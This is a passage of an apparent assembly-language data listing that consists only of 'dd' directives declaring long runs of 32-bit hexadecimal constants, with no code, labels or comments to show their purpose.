dd 1246C8h, 0BAFC7FA3h, 0E05C22Eh, 3A48800h, 0C5B5232Fh
dd 21E89501h, 0DE1E8A60h, 2AD58D8Bh, 89502DABh, 0D0E641F3h
dd 0A9D24F38h, 1C8B80Eh, 45981686h, 2A331C74h, 2F39C1DDh
dd 5E99FFA9h, 0C2402FE8h, 6F941A54h, 0F681011Dh, 2BB5A387h
dd 0F58205Fh, 946E8F48h, 45247D2Dh, 0FCE0BF0Eh, 0C6F273h
dd 0CCCEDB80h, 615B43C9h, 84806990h, 6B90EE18h, 0B69E4A0h
dd 3264DCB6h, 3CBC0955h, 0D99E3Eh, 0C97E7113h, 0BC459D89h
dd 0B6702AA2h, 7900DC99h, 7EC383Dh, 25607A6Ch, 0CCDB61F8h
dd 67181C51h, 7DDD9600h, 2A62AE2Dh, 40F39CFCh, 7B1AC5F4h
dd 408C70Fh, 0AC97078Dh, 2ED02C40h, 80C59978h, 0B287548Bh
dd 2A006ECAh, 776DED50h, 1648BFBBh, 84513010h, 0C26FDB64h
dd 0E22390ECh, 0AA2750D5h, 4D7655D7h, 602514D6h, 0C512C914h
dd 0F5D23219h, 30509E41h, 2E12B932h, 31DB585Fh, 53639582h
dd 0D4551F2h, 5849203Ah, 912F8F84h, 41551237h, 3578F0B6h
dd 48CF8101h, 79220CA7h, 29EA3014h, 2F2512BEh, 13093533h
dd 0D589C937h, 13C0C1A7h, 0B0890C79h, 0D6D80D7Bh, 0BBA709AFh
dd 4B85BE3Bh, 4B8F8B81h, 5C00ECA3h, 3D28CA9Ch, 54759ED1h
dd 42809700h, 0B9DB0B8h, 33580573h, 8832E585h, 3DDC880Fh
dd 5C25B17h, 12F3DBC3h, 8BA7AB4Eh, 0F49B78A1h, 1D0621E7h
dd 2CE96631h, 786CB321h, 201CC422h, 788011D2h, 0F51AFE72h
dd 35C0488Bh, 52355B70h, 80B19BF0h, 55DA7197h, 0D0854BC7h
dd 47CB7705h, 11F21650h, 3D22045Eh, 0C1222009h, 9F02F0BEh
dd 7E340857h, 0E4A8D95Fh, 0ECE9BD4Dh, 0CB5200D8h, 419B31FEh
dd 0E097BB24h, 164CE6C7h, 6A85FF92h, 9152344h, 5E5B6339h
dd 29C1BD0Bh, 0D60B747Ch, 5C091646h, 73D0B7D3h, 65BD2B17h
dd 1890604Bh, 2C52254h, 350BF78h, 0AA4965B5h, 0B87F2D5Eh
dd 3748B0B1h, 62CF2615h, 290B2829h, 0DCA6D4C8h, 591438E0h
dd 0BBE3A3Ch, 1943D7h, 414FFDABh, 97B8B84Ch, 0B75F9ECAh
dd 3A4600F0h, 9B5A6402h, 6027D001h, 2F999531h, 1400CB67h
dd 10A3FDB9h, 0DD0C92A5h, 0DC311641h, 0FC6125CAh, 1B0B6D37h
dd 9D42847Eh, 1F696EBEh, 5B4061C2h, 67EB8EE8h, 40A7961Fh
dd 7AAE3508h, 1188B103h, 0A0BC0568h, 2E12214h, 8BA33EB3h
dd 0FE842980h, 9501041Fh, 0E91641A9h, 47D5C487h, 0C0D64329h
dd 3F58B12Ah, 0D239A200h, 2D7F5A10h, 4B60B28h, 0C8DF1B23h
dd 0F4834CE2h, 0D0910E9Eh, 0E8C0EB9Dh, 0E90E8438h, 44B649h
dd 6D0293C4h, 0B8FB9AC6h, 0F6912E70h, 0F28B0110h, 8083B65Dh
dd 0EFAAC208h, 99429BCh, 9025C0EDh, 8700315Ch, 8015B0E0h
dd 574500B3h, 4398CBE6h, 48001A31h, 4F7BFC2Ch, 680FB0h
dd 7D13AEE1h, 5CFFECFAh, 37F2EF00h, 6F9F464Dh, 0AA3100D8h
dd 39BAED7Ah, 0C7006E09h, 45EC8D2Eh, 0F392BEh, 9F48884Ch
dd 9A33DA6Dh, 0CB55B000h, 0E580AD56h, 0A5C2057Ch, 0E86165A2h
dd 199E00C5h, 11AA51ECh, 0B5500082h, 0A6D87F14h, 0CF00760Bh
dd 0D5630A9Dh, 67FA2Ch, 0C14F7C7Dh, 3DF1D93Eh, 0D6E48C00h
dd 0A3599102h, 9DC0049h
dd 0D56C168h, 0E3061503h, 58FC6D5Bh, 7F470C1Eh, 6B2D2091h
dd 68F79800h, 67FC9D38h, 0D1EA95B9h, 59128455h, 6B9BA037h
dd 0EBF625CCh, 7AD34FC0h, 0F0AB2AACh, 311912AFh, 2E91B552h
dd 1C8078Ah, 0A2253180h, 3E2BE4h, 0DB117A0Bh, 5859436Ch
dd 0EA912C01h, 2983763h, 0F8B26E4h, 0D20188A1h, 8CCC9041h
dd 4F892EE3h, 609886E4h, 0DF74156Ch, 6D000838h, 67FE2ED7h
dd 93D27C0h, 0F92CC436h, 5F51D676h, 82724h, 0AC41D407h
dd 107AD505h, 8AFC78E0h, 27BD5E05h, 9AEC4E7Eh, 0ED748D00h
dd 0DF7D24BFh, 0AC32FC05h, 8904B039h, 0CB409BA3h, 0EA986248h
dd 0CA9A4606h, 0F614E0h, 78F49454h, 0B5B6A093h, 48EF8200h
dd 336937BAh, 7CE700DDh, 1644452Fh, 4D00D47Bh, 0CB6A961Fh
dd 77F5832Ah, 0A2FC0007h, 7F0EE149h, 0C00B352h, 0AB6BB548h
dd 0C24CDFh, 0FA902154h, 0D68B7077h, 5069DB25h, 95FE1E59h
dd 0ED0D005Dh, 646B5522h, 98ABD00h, 0FB943BD6h, 2CB3125Ah
dd 22B2ECFDh, 0E78801DAh, 0DD78A851h, 593CECF3h, 0DC09CF0Ah
dd 0FE08EED5h, 0EC62924Eh, 0BF5EC063h, 90A2D4D5h, 0BDF80BB5h
dd 9603C573h, 4490E669h, 0AD0407DDh, 2C9EA58Fh, 87F520BAh
dd 0D117BB5Ah, 28F41D8Bh, 2BD22E35h, 0CE220709h, 9D24416Ch
dd 0C6D2206Bh, 73B37D00h, 0DFE12F88h, 0C96650F6h, 480144E4h
dd 4E7C2500h, 60F124B3h, 362000B9h, 0D66C0735h, 0C7603826h
dd 553F126Bh, 5AE013Ch, 0EC5D4BD3h, 371A80F1h, 0BB1CC364h
dd 7B1BF8ABh, 0E56060AEh, 0F87B11A4h, 0A577C504h, 3DD3AFE0h
dd 313A2448h, 0BAD30624h, 3701E533h, 0B9548304h, 0C4A57912h
dd 31C201D0h, 55F0BC8Fh, 97E03000h, 711D9F89h, 0C8AF40D6h
dd 0C09CA383h, 2AF08BA0h, 0AA01ED56h, 0CE679A29h, 57E08E27h
dd 84EF0369h, 53FC47A2h, 0BA49BADCh, 5CB40064h, 170D24D9h
dd 0E42F41C6h, 5B4CDE53h, 16488Fh, 61D2A685h, 439BF3h
dd 24784CBh, 0AC342DECh, 0A338D900h, 790E72F5h, 0BCE7247Ah
dd 0C3C00B8h, 0D52575B1h, 2F47070Fh, 0B01BC08Eh, 24439CB4h
dd 68C3F0h, 8C33CEFCh, 5704E11Ch, 1A245FD7h, 867426C0h
dd 602FCB15h, 0B04CF9F0h, 0B73E00A9h, 0D75AF087h, 0FDB30949h
dd 67542BCEh, 1D002A24h, 0CF640333h, 0C50502D0h, 47D71FB5h
dd 2A3B0449h, 0F80C538Ah, 0E411990Ah, 4271101h, 30A18F7Ch
dd 7F6D1786h, 590B0D0Eh, 0D82BFE86h, 0FA582885h, 502302AFh
dd 65F222A9h, 0C038B064h, 0A1120C90h, 0ECC8E9h, 5FE27819h
dd 258F5CCFh, 2E1CD006h, 9820B1BDh, 0AA9400CFh, 65530391h
dd 18C9B0F4h, 0E851033Fh, 0F0294A77h, 5898049Ah, 30E99A09h
dd 787B81E6h, 25A0198Ah, 0D5023EF0h, 31C973Ah, 1FB604D2h
dd 250CE908h, 605CD96Ch, 793B1904h, 40B50E00h, 0E2895C56h
dd 24A53016h, 34BDE922h, 44A1024Ch, 320060EBh, 863FF097h
dd 98CD7CB8h, 5BE2008Ah, 7821D167h, 0C518AF4Ah, 9455E7Fh
dd 64A17036h, 0BA768B7Dh, 300C923Ch, 0F817AD1Eh, 0EE708425h
dd 0E0007EFFh, 0D85F06D9h, 780D0CA8h, 9310A1D1h, 82EDDB28h
dd 0A23D6B00h, 0E37A9AFBh, 8FCD02EEh, 2FB8EA79h, 24BD1140h
dd 18DC8303h, 0D47BBB85h, 0F8EB12BFh, 0D1BF05B1h, 0F7F80D60h
dd 9E961EC0h, 23B1A08h, 99411FE8h, 6B0CA540h, 0D3DC4h
dd 1F68D37Ah, 857D0511h, 0E901EF00h, 723B8BC1h, 0FC9701C9h
dd 0B0451812h, 0A9217E3Eh, 7700CCEEh, 1CF09FCEh, 0A84F2200h
dd 0C156F121h, 4BEA071Ah, 278CD8A4h, 0CF406E0Fh, 5AF5FA4Ch
dd 32D764Ch, 7DAB75D0h, 0C425B24Dh, 0FF820059h, 0E4D2B19Fh
dd 90F2773h, 96EBBE3Bh, 2210AF07h, 416D3E6h, 9E8829FCh
dd 9131EA9Dh, 0BC24B239h, 51C231B0h, 0DAC99C2Dh, 990CF1C0h
dd 0CBFAA300h, 173AAF6Ah, 2D221401h, 0F927D28Ch, 451DA852h
dd 0C48144C2h, 0BBA56F6Dh, 0A40FC72Eh, 26F4F9C3h, 0D825D239h
dd 19FB2FB6h, 50D0D6C5h, 9BE04889h, 142D6B65h, 0C25E7A05h
dd 8412CAAh, 225DF6ECh, 2C3C28CBh, 0BD005524h, 1AB2699Bh
dd 0F09003B9h, 0C1810020h, 47D5615h, 0CAF1E929h, 685D0880h
dd 45CD213Bh, 4ABE6024h, 0EC81588Ah, 9C713742h, 7B033D1Ch
dd 408F53EBh, 9D68D308h, 0F1B10A17h, 7C836618h, 5764A2C0h
dd 770E1AFh, 0FC5171E9h, 7E9500BBh, 308903h, 0DFE812A7h
dd 2B92B834h, 0B8C01BBFh, 16586Ch, 29691EC4h, 1A9ECECBh
dd 6E02B800h, 0AF4D2C2Ah, 1C70E63Fh, 40146656h, 0BFE5233h
dd 44007557h, 0C22AC537h, 0FC23B347h, 303E000Ch, 72287183h
dd 8B00FF1Dh, 4CAEDE06h, 74675Dh, 96980FA3h, 0BDBC0857h
dd 3A7B5100h, 0B013D3D7h, 675C3A17h, 9F4F900h, 4BF05F16h
dd 0F1A91214h, 0E40E01AFh, 5B44825h, 12D8B220h, 0DB600CD2h
dd 0C8FD80C0h, 16FE6864h, 8415BD89h, 0D8B4ECD4h, 811DCD18h
dd 151C2AB9h, 49DB8180h, 250F3AC4h, 48478D21h, 286019E4h
dd 8E0CF50Eh, 50F8666Eh, 0E20C4341h, 16A3016h, 4C8BFC28h
dd 0DC6DFEBFh, 0DF6D850Fh, 0F5BA8023h, 0F435E47h, 0F01E183h
dd 0C4A2FCD3h, 5E501921h, 8C1CFCh, 6C5C5793h, 37FF4D79h
dd 0B523740Bh, 24A54255h, 8053053Fh, 619A6ECAh, 459B604Fh
dd 0C9EF2982h, 65BD0B60h, 7AB5204Fh, 0FC5D04C5h, 68C1C81Bh
dd 2AF9CC30h, 0C17562BEh, 8F995A8h, 31021EE5h, 890B0D9Dh
dd 0A594F60Ch, 0BEC0F5CDh, 15544DECh, 338BD7D1h, 90CE0F3Bh
dd 9D2960DDh, 9541DD9Eh, 61021F99h, 0B8CBF796h, 0D1615255h
dd 0AAD2CDA1h, 6E6A6FB1h, 0F48E0FC0h, 4A89CA9Eh, 0A568CCA0h
dd 0CF38F375h, 566D3220h, 4F95091Ch, 7002803h, 6178B4F1h
dd 35BFDBAEh, 5E51008Bh, 0FB3A89BDh, 957DD505h, 0CA04F566h
dd 0CF9E2061h, 0E2F02BC2h, 0C537107Fh, 0ABE63F7Ah, 99C95206h
dd 0D94E6454h, 0A36F75C4h, 8CBF400h, 0CD48028h, 0F81790BDh
dd 4251005Bh, 0E395A8B0h, 530A4581h, 8B3572B9h, 740A4602h
dd 550940EBh, 79278A22h, 4E9C209h, 2B27F9B9h, 7997AABh
dd 0D84E62Dh, 9D16077Bh, 4241438Bh, 0EC568378h, 13CEB8F0h
dd 0F684434Bh, 84095848h, 0FF55E080h, 24076808h, 0E8372D22h
dd 0B719FD02h, 407D5682h, 37CCFC59h, 6BFA3B00h, 6DCF818Dh
dd 0EA7C4A51h, 534D2CC9h, 260E086Bh, 2BB50128h, 0C096CD7Eh
dd 8C0F2038h, 0F597899Ch, 255AD6C6h, 415B14F1h, 742FE0D3h
dd 0FCD09BEh, 40D8C0BFh, 0DA20F6B4h, 0BCDB5C82h, 0C9820072h
dd 3E269Ah, 7F8229B8h, 35D8D89h, 0D913B93h, 0C7806004h
dd 55DC324h, 0F3DB5D84h, 7AEC5B8Eh, 3AC901D3h, 0DF58D01h
dd 95303F4Ch, 91FBD5Dh, 9EF9B4C8h, 0FAE7000h, 17ADEAh
dd 7B47429Eh, 36C3EF2h, 0D48D4990h, 716508E0h, 8DB05038h
dd 0D81441B5h, 3CB2CD85h, 9DBEC776h, 701D5BE9h, 0A6E2C9A2h
dd 5711D101h, 0BF66601Ah, 58153F0h, 3494F9C2h, 0FBCB0E51h
dd 0E019B677h, 1B59FDEh, 0C66AC7FDh, 100CE8C8h, 66D1D5h
dd 0F7C10DC2h, 0C75CA0CCh, 0B503D305h, 48BD10A9h, 4FD59513h
dd 6149EB28h, 4BC4668Ah, 0A4704853h, 2C675E3h, 4A1307F9h
dd 0AEC1F5B7h, 20BA150Bh, 0E6C739B7h, 30FADE17h, 0C1A49AFEh
dd 6074CD75h, 14F2F0FCh, 0E7095CA3h, 6187924Ah, 73C1FAE1h
dd 301DB283h, 8A005BBBh, 0A202C086h, 2EF9D11Eh, 47BE9529h
dd 7D5A6B89h, 73C08B25h, 6D7E70E4h, 0CE17D3B0h, 8EFBCAD6h
dd 0FF38CB9Ch, 3864746Fh
dd 0E7A0612Fh, 6E6B8410h, 0BDC80028h, 89FD2F43h, 6BBC987Ah
dd 0F876C2CFh, 0E3855BDCh, 0C781002Ch, 131CBDBCh, 0DB6F49E8h
dd 169C3326h, 0C5D4F51Eh, 20D1730Eh, 0DE68003h, 52E8802Fh
dd 0B5B93BC3h, 60C4EF7Ah, 238077A8h, 3C200EEDh, 0E5D53300h
dd 0FA13F6Dh, 61CE30B7h, 705D162h, 8004B7B5h, 592C64BCh
dd 84013AB8h, 0E8FC7361h, 0DE6F0708h, 787380BCh, 0C4E8EDADh
dd 712B5A0h, 45620B56h, 0FA036B23h, 0CBA6A8D5h, 4A712A32h
dd 0DC6E5E15h, 0C03B5500h, 28939761h, 0B9600156h, 1CA4E5E2h
dd 3601D866h, 331659FEh, 2347A18Dh, 0B83993E8h, 0CE57C10h
dd 0DB29D36Eh, 8695996h, 6B7A2Dh, 122C875Eh, 731E74CFh
dd 186DF403h, 0A8252770h, 0B9567Fh, 5BFD2150h, 60E8595Eh
dd 0A0F65FD6h, 0CE43E6E0h, 90C46474h, 0F9031351h, 0A9A534E8h
dd 17E9E8E4h, 0FF02D359h, 62885489h, 0FC1B2639h, 99BB5652h
dd 501380F3h, 7E9E1531h, 0A7A9180h, 0C1B7D970h, 0E8002D9Bh
dd 1DB505B6h, 81199178h, 98345203h, 0A48B83D1h, 22761AF5h
dd 0E16BBEC0h, 6E4E009Ah, 5E638A26h, 0AB1A359Fh, 8D342DBFh
dd 1E488DD3h, 0F25504D9h, 0C277C908h, 39FCCB37h, 2B0ECD0Ch
dd 0BBB7D25Bh, 2DB0DAE6h, 0D562D89Eh, 0D4124D7Eh, 0C80DF4BDh
dd 8F14E81Ch, 56F1AC98h, 0C29307C5h, 6EAA5D8h, 0E55E098Bh
dd 0C1205038h, 4DB5F61Dh, 0E80A8CCDh, 0F6DE04D8h, 0BF0041F4h
dd 296A3D63h, 990599B5h, 2D310BB8h, 0A1F4E9D6h, 76FE8AD6h
dd 34F3C0B8h, 1562C13Bh, 1F046962h, 0C7801B11h, 4D16F506h
dd 11A4E612h, 52ED0F0Fh, 0E0BB3E28h, 0FEDC0EB7h, 0D100455Ch
dd 79A60EBh, 0A0E87A2Ch, 0F4122Eh, 0EE524D4Ah, 64BA9230h
dd 8092CEA2h, 0E9E1B960h, 25EC7F64h, 917BBFh, 6CE9C0F3h
dd 0D8DFE814h, 2B116C3Dh, 2132D8A4h, 2009FD0Ah, 5E66A5DCh
dd 28DE2401h, 0C0E8D7F1h, 6D323FB1h, 0B2FF0521h, 0CA8E005Fh
dd 78F52872h, 945A00CFh, 698A042Fh, 6A9A5F44h, 0C124159Ch
dd 70E504DEh, 0AE4E622Ah, 8DB0710Dh, 0B6875468h, 0AABFE1D8h
dd 1D8D2EB2h, 8B37217Fh, 0D16E3BC3h, 0C453DA01h, 0B88A0F33h
dd 61C44F19h, 0E25F5BCh, 0BD8AF879h, 0C0A7E659h, 0D60C8121h
dd 0B6BB335h, 0A0498529h, 565093BDh, 0F1C407BEh, 925F784Bh
dd 0BA55CA8Bh, 0D473D6EEh, 60CCD32Dh, 4185B5DDh, 6101D432h
dd 99D0B16h, 5B2952FDh, 1814D18Dh, 0D980026Fh, 0C1958D5Eh
dd 893A3081h, 0F231Ah, 6FA8AA41h, 0E8CDA1h, 79C5AD80h
dd 891CBFD4h, 0DCDB425Ah, 2A80F0DEh, 4B2DDC92h, 0F9861143h
dd 0EC3BA640h, 9F196418h, 0D89C1628h, 0BC1B4149h, 458D15B2h
dd 0B7996BDEh, 0A313EEDh, 37074574h, 39DD172Ch, 6BF5CFFFh
dd 707B7B84h, 9F82620h, 13A58514h, 17DAD360h, 0D3DB5383h
dd 0C9BF0FF8h, 42C5CAC9h, 66B7DF9Dh, 0A9BA0900h, 6494AF4Dh
dd 400F90E2h, 52302E58h, 342D00D3h, 6AD730Dh, 0FD240733h
dd 0D6602111h, 689537h, 92254A69h, 8DB2705Dh, 5EC76215h
dd 0F5CF34DEh, 1DB820EDh, 30D81300h, 0E9A5E1DCh, 0D5F8C4DFh
dd 3B0C121Fh, 68168F9h, 0FEDA87C6h, 57957137h, 0FF80C035h
dd 0FAE7B94Eh, 0CD8D197Fh, 6F01707Ch, 92A9E913h, 24BA8DB8h
dd 0AEF006CDh, 7D7BA3A5h, 45CDC70h, 86F23323h, 0DA4C231h
dd 4105A80Ch, 0A2243E14h, 6F8356C0h, 0CD6C9D92h, 0CC0786D2h
dd 8E6D38FAh, 106E7Eh, 50E7FF7Dh, 580F30A0h, 0AC92108Eh
dd 5421C014h, 0F1CF55h, 14AEA7ACh, 0BA31EF41h, 0C4E5C4BDh
dd 2D15BEh, 1EB96651h, 0A95F63FFh, 0A6AEF38Bh, 99798893h
dd 4051B530h, 0F45AE90Ch, 1C238E3Eh, 1D1F4B1Fh, 8BA980C0h
dd 0BC6A1846h, 6A01DE2Eh, 4C097970h, 0DF7056C0h, 7BE41A01h
dd 0C6DE5459h, 75E401DCh, 0F517DA4Bh, 0ACC642EDh, 0BA32155h
dd 965C9BDh, 0F6FBA2Bh, 8011521Ch, 0FA5178Ah, 0EA9D9529h
dd 0C5B46039h, 4F12B712h, 0A04DB64Ah, 1A174EE7h, 89BC3749h
dd 108157DAh, 69C58A5Eh, 84B8A0h, 7F99A25Fh, 0B5B3E6D2h
dd 73860F24h, 7A6258h, 145F26FDh, 59123E40h, 0B37BB600h
dd 0A406C4B8h, 8B411231h, 0B8D4EDC0h, 0A30D0164h, 0AB588DA0h
dd 5BC42B50h, 0AAA44FF7h, 38A8EBB9h, 0DFEE4F87h, 4BD36D2Bh
dd 98C4B970h, 14872C01h, 18850BFEh, 3A57EA4Ah, 50ED732Eh
dd 40015F32h, 7753DBD3h, 8C3A90D1h, 6700C6FCh, 1BEA1530h
dd 7FBFDC52h, 382A246Ch, 24040B15h, 97007DBh, 788B001Bh
dd 685C3395h, 0CF3580A6h, 87A64E36h, 0E3CC80E5h, 293FC2AAh
dd 0BC791454h, 0C43D2DCDh, 401F94CCh, 7D98DE54h, 0A85DFA05h
dd 0A501FC58h, 60B3E4Ch, 82DDDB3Ah, 55B0E9CCh, 2340AC76h
dd 9932B1BDh, 60391E05h, 254A897Ch, 126259F3h, 76091391h
dd 37E740C0h, 88F294ECh, 9C183900h, 9DF1CEA6h, 60801485h
dd 457FD7D9h, 96C9E012h, 701E3F7Bh, 0C600A02Fh, 58729AFDh
dd 1C1F1F46h, 0EB8AB40Ch, 54EA545Ah, 1215DC8Bh, 56CDE7h
dd 0EF8239F2h, 943AA8h, 871C084Fh, 92E00A8Ah, 0BFB04A0Eh
dd 0C2966B62h, 0E55D6DA8h, 802EE821h, 711A1B32h, 81A00147h
dd 0F88AD364h, 87DC2B5Fh, 2900EBE1h, 0D3B4A1B5h, 7A658D1Ch
dd 0CB81008Dh, 52CCADE5h, 93B4D1FFh, 41EFEDCh, 0D88AAA4Eh
dd 22B9AEF9h, 6A8B44C8h, 0CE714D02h, 308B7321h, 0F9E240C9h
dd 80380F50h, 44604F0Ah, 0AB30956h, 0FC90A7C6h, 7910887h
dd 40BA9D9Dh, 0EA525E9h, 56629179h, 6C900B3Eh, 4100F5E3h
dd 0D014EFFEh, 92E6E86h, 7E3EF4EEh, 0E4DC9576h, 0CDDF1237h
dd 3FBC02C6h, 41560A84h, 1AD31CDEh, 0B1C78039h, 0DFA11173h
dd 48EF8101h, 503F4F89h, 29001A23h, 79440BB6h, 0AA2537B5h
dd 5A75F0CEh, 0BFDAA45Bh, 7595837Fh, 7E55B71Ah, 0A8246C91h
dd 5BA74C4Bh, 4DACE84Dh, 0F902C00h, 0FF6AD8BFh, 20049860h
dd 57090D31h, 186158F5h, 0FCAAF0h, 0E5DEEB37h, 3B94B6B8h
dd 4DF86100h, 783BD88h, 0B5FF120Dh, 0C052A985h, 748A71E7h
dd 9037006Bh, 0CF4ABBB8h, 0B09B260h, 361CB8Bh, 102B8914h
dd 4C011A39h, 0CF8101ADh, 0B05F0A5Ch, 7B0F3426h, 77C0ABA5h
dd 8D0970E6h, 280C2120h, 4AC71E4h, 15B501DFh, 7A33AA1Fh
dd 604103ECh, 241958Bh, 933A754Ch, 0F38CE0FDh, 0C801B636h
dd 6AC2F781h, 9E3C679Bh, 0CF071C91h, 40C7487Fh, 8BE4B8D3h
dd 8D89C117h, 0B029C0F4h, 0AC204AE4h, 0F2BAD2DCh, 0B7247657h
dd 251292CBh, 14E566ABh, 2B801970h, 8124B1C8h, 0CC0212B1h
dd 86E5307Dh, 0BB0EF4Bh, 0D1B18325h, 7A9AF4BBh, 1E25345Fh
dd 60B54F07h, 854682BBh, 5512C6C1h, 0C31C261h, 2C8D66E9h
dd 0C310D4DFh, 22F98A10h, 0A8D03B14h, 897E0E22h, 2EA4294Eh
dd 0E3808839h, 2E8C854Fh, 4B19F029h, 84908C30h, 0DC0F14FDh
dd 18A58AD9h, 0D781FE00h, 155F2E74h, 58958911h, 14ED9D0Dh
dd 8D20C273h, 4EC417B5h, 0C0B99B0Ah, 29FC2741h, 0ECA0BD9Dh
dd 0BEE1A9BBh, 1216635Ah, 6EA63895h, 9AFF3AF0h, 6547C05h
dd 0E9307FB4h, 2400D5Bh, 8CB9A531h, 0B284EEBBh, 5CF84901h
dd 1546D640h, 3ECBE01h, 0A50F959Dh, 3B8BF046h, 0DECECAB9h
dd 2DF581C4h, 0CA449EF6h, 1FEA54EBh, 9FA8DB3Eh, 6EFC4AF4h
dd 329300B6h, 8AAEC550h, 0FCD7007Bh, 4094BB66h, 7D9BC02Bh
dd 4C548778h, 0A101A5E3h, 8DDF80D7h, 4471C2BAh, 61816F1h
dd 0ADCB3603h, 1D1C233h
dd 0E983D03Eh, 26F47504h, 1FBCF014h, 0DC2B0472h, 0EC4D8E92h
dd 0FED9404Dh, 2D880D35h, 28F55504h, 0D96A0712h, 0F35F691Ah
dd 0A7F670ABh, 0A8640804h, 0DD81FE8Ah, 0DE2F101Dh, 0B1FD8117h
dd 0EC6C7409h, 407BA3D4h, 52726012h, 6C596131h, 87070FADh
dd 0A1C28750h, 0BCC10318h, 0ADAB7408h, 5058193Bh, 4E04AE29h
dd 9454FA3Ah, 1B794281h, 114D5B02h, 0BC6D50E1h, 20958960h
dd 0D7ED078Dh, 61864BDDh, 0E29B282h, 11087C09h, 9B8343Ch
dd 0DDB104BBh, 0FA061620h, 0AD0C4B9Bh, 0D746EB85h, 0FF9C7B0Ch
dd 0F3F562E1h, 5219206h, 4548933h, 0C8D0E95Bh, 0B55E14D9h
dd 1882D76h, 0FDD34210h, 0F6A2A80Ch, 78910976h, 0D0530ABh
dd 970AE17h, 0C56DDh, 0D26CFF3Ch, 0ED9E28C5h, 0D3E5DB01h
dd 5BB3CF80h, 0B0034C48h, 95C074A7h, 23135DBDh, 0F24F65F8h
dd 0E1B21E30h, 801526C0h, 0D2E350h, 0D338DA82h, 9D5369F3h
dd 0BF605F01h, 1AAB77C7h, 0BE6D3E20h, 0D98C8376h, 3CA9501h
dd 4E18001h, 803DDB2Ah, 741C27A1h, 67971795h, 0C18D410Bh
dd 41C90A1Bh, 60102CAh, 2A092084h, 1D67F098h, 0FD64330Dh
dd 66F60ED4h, 90F530E0h, 0B4B2964Ah, 0F5499879h, 48D3A630h
dd 0DF3CDB6Dh, 13F58463h, 0FA41F77Dh, 7CE3B49Dh, 963E6803h
dd 34C853ACh, 953BC124h, 27E6CAB3h, 0D4B7B6E0h, 80800799h
dd 93E39F1Ch, 5EDCB854h, 7159A8CBh, 0F94EA0B0h, 0D18BEBC2h
dd 858901BFh, 7C0AADDFh, 0DD6BC045h, 0A96FE0h, 83AE4A8h
dd 511CF201h, 0F541D09h, 105B518Bh, 0C781808Ch, 91244B4h
dd 1EEE97Eh, 0D19F493Dh, 10602D7Eh, 0F0AD46Eh, 0E432BF8Ah
dd 91629C0h, 0ED02E973h, 0DCA483ACh, 85DC6015h, 7AD0D6D7h
dd 0FE661214h, 81C0D1FCh, 3F6E54CBh, 0BD891C09h, 0C76A2421h
dd 70AEF8AFh, 48DC2D9Ch, 6F135ABFh, 65E888EAh, 629A0D0Fh
dd 69A6201Eh, 0AAD0C8h, 5B9F4491h, 0B58BD5DEh, 83E3DB6Bh
dd 12C13D54h, 0EB2BCDF8h, 0B1F07BB6h, 7009913Eh, 2EB9426h
dd 0A237564h, 7A5E0772h, 0C20B6789h, 0B2451019h, 9065601Ch
dd 2370F8h, 0E7EF8767h, 5ED67280h, 615F5100h, 5DD5CA81h
dd 0C47D7762h, 2204566h, 0F3044689h, 4DAA7005h, 0D888B205h
dd 94C0740Fh, 9696A979h, 8BBA4053h, 62077AB9h, 50B7DC3Eh
dd 0A5968123h, 0FC411DA3h, 129A2AC2h, 312620B5h, 4094E59Dh
dd 84056812h, 4FECCB62h, 0BCE6AE04h, 0E061F634h, 9BCDE50h
dd 0F58D2980h, 0A49BFA5Fh, 7FB700CBh, 505F5790h, 4E1EBEBBh
dd 4D65561Ah, 3997C0DFh, 89B117Dh, 90372Dh, 33611764h
dd 295AD59Dh, 4BCD9494h, 187B3Fh, 0F9FA91E8h, 2417B8Ch
dd 0BD036684h, 0F8C41F85h, 0F8648F8Ah, 0A0A34158h, 39B88EBh
dd 0D992E96Eh, 99C8B860h, 0FA4F77D6h, 0B75BB4B0h, 1D44F46Dh
dd 0F4951B60h, 1CC77F00h, 94700F14h, 0C302450h, 0C3441CE7h
dd 10E8C101h, 2700ED6h, 3254C7Eh, 0E7912158h, 36BB36EBh
dd 3D8764C0h, 501BC6C2h, 21286829h, 13581918h, 1B57A101h
dd 27797E25h, 0C470C2F3h, 79D1059Eh, 8E384378h, 0C01D88E7h
dd 338349EFh, 0D00BC4ECh, 94A04096h, 0B3852E67h, 5A54A3B3h
dd 42D0C460h, 2C1DF97Dh, 8B5BBF0Fh, 208FB464h, 4717B35h
dd 14077DC2h, 7B2769FFh, 740C78B1h, 0CBC00502h, 0E256BCBBh
dd 29BC82FCh, 13147221h, 81D4DEFh, 0FC89D3EAh, 3974F4C7h
dd 86E82D59h, 0CCFFDC09h, 0E1515DA8h, 61605702h, 667B625Bh
dd 12DA0339h, 9E29BC7Dh, 8D18C098h, 0B6E883E6h, 15AFB404h
dd 20FF505Bh, 0A78D0981h, 86C9E900h, 55BD9245h, 7BED2D3Eh
dd 78603E0Dh, 0D6A44201h, 511195A8h, 89AB4B02h, 3F810D32h
dd 0BE006C6Eh, 8B3BD6B5h, 4EB079B3h, 5812A120h, 0B91FE256h
dd 57B93EDh, 0AFC4863Eh, 9303057Bh, 959FFE71h, 8B5EA16h
dd 859D2DADh, 827F37F0h, 7C40806Dh, 0D527784Bh, 0D7543ADCh
dd 0DC0099B5h, 9A5EA4F5h, 0A18C5815h, 5E236510h, 754139F1h
dd 89000E19h, 22932050h, 1601AF78h, 4533F4Fh, 16C17047h
dd 810554A9h, 0EB165EBh, 0A716B8A6h, 0C6A8A243h, 511100D3h
dd 0AE201038h, 0E5B0B83Fh, 5AD9E330h, 8B05830Fh, 8DF78009h
dd 97D31475h, 2F0EC8B5h, 0DE1220BBh, 0BBF0D88h, 6787BA18h
dd 0ED97E1C6h, 0E4DAC02Fh, 0E9FE602Ch, 6B05627Ah, 0C9BD293Bh
dd 176106F0h, 41AB396h, 420A8A42h, 0E35E5760h, 285A844Bh
dd 0DCCEF6h, 56F7FB0Ch, 0E4C87D46h, 131B5A2Fh, 52B7D825h
dd 0E8902820h, 1FFF0F3Fh, 6F60175Fh, 64AE3769h, 41B359F1h
dd 41FB930h, 0F8099209h, 0ADB797EAh, 0C8E29700h, 13ADA083h
dd 0C1CBB5E5h, 214BD3Eh, 0A6F2E8h, 0B46A6D1Eh, 3B69CB23h
dd 3714A413h, 12A52204h, 4FE15A09h, 7219F6C1h, 0C07A9E3Bh
dd 2CE70B87h, 0D4EA5072h, 6E03458Fh, 12FB55C5h, 0E0A2F651h
dd 130F2B43h, 0E394A321h, 12B1483Dh, 4BB61E41h, 0CCC21F00h
dd 750FBFBDh, 0B3980400h, 1BD07FA7h, 59EBF8E0h, 17B85AFCh
